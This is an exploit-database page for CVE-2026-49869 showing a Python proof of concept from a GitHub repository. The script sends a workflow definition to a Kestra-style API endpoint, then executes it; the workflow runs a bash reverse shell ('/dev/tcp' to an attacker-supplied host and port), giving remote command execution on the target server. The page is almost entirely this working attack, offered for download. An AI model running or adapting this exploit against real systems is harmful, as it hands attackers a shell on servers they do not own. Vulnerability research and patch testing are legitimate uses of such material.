Exploit database

GH-6e01333295af74eda05e0330a27a4207

eqstlab/cve-2026-49869

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-49869

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
eqstlab/cve-2026-49869Revision 73e160a09460

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 1,218 bytes
from argparse import ArgumentParser
from ipaddress import IPv4Address
from urllib.parse import urlsplit
from urllib.request import Request, urlopen

parser = ArgumentParser()
parser.add_argument("target")
parser.add_argument("--lhost", type=IPv4Address, required=True)
parser.add_argument("--lport", type=int, required=True)
args = parser.parse_args()

target = urlsplit(args.target)
if target.scheme not in ("http", "https") or not target.netloc or target.path not in ("", "/") or target.query or target.fragment:
    parser.error("target must be a base HTTP URL")
if not 1 <= args.lport <= 65535:
    parser.error("lport must be between 1 and 65535")

base = args.target.rstrip("/") + "/api/v1/main"
flow = f"""id: configs
namespace: configs
tasks:
  - id: shell
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    commands:
      - "bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
"""

urlopen(Request(f"{base}/flows/configs?delete=false", data=flow.encode(), headers={"Content-Type": "application/x-yaml"}), timeout=10).close()
print(urlopen(Request(f"{base}/executions/configs/configs", method="POST"), timeout=10).read().decode())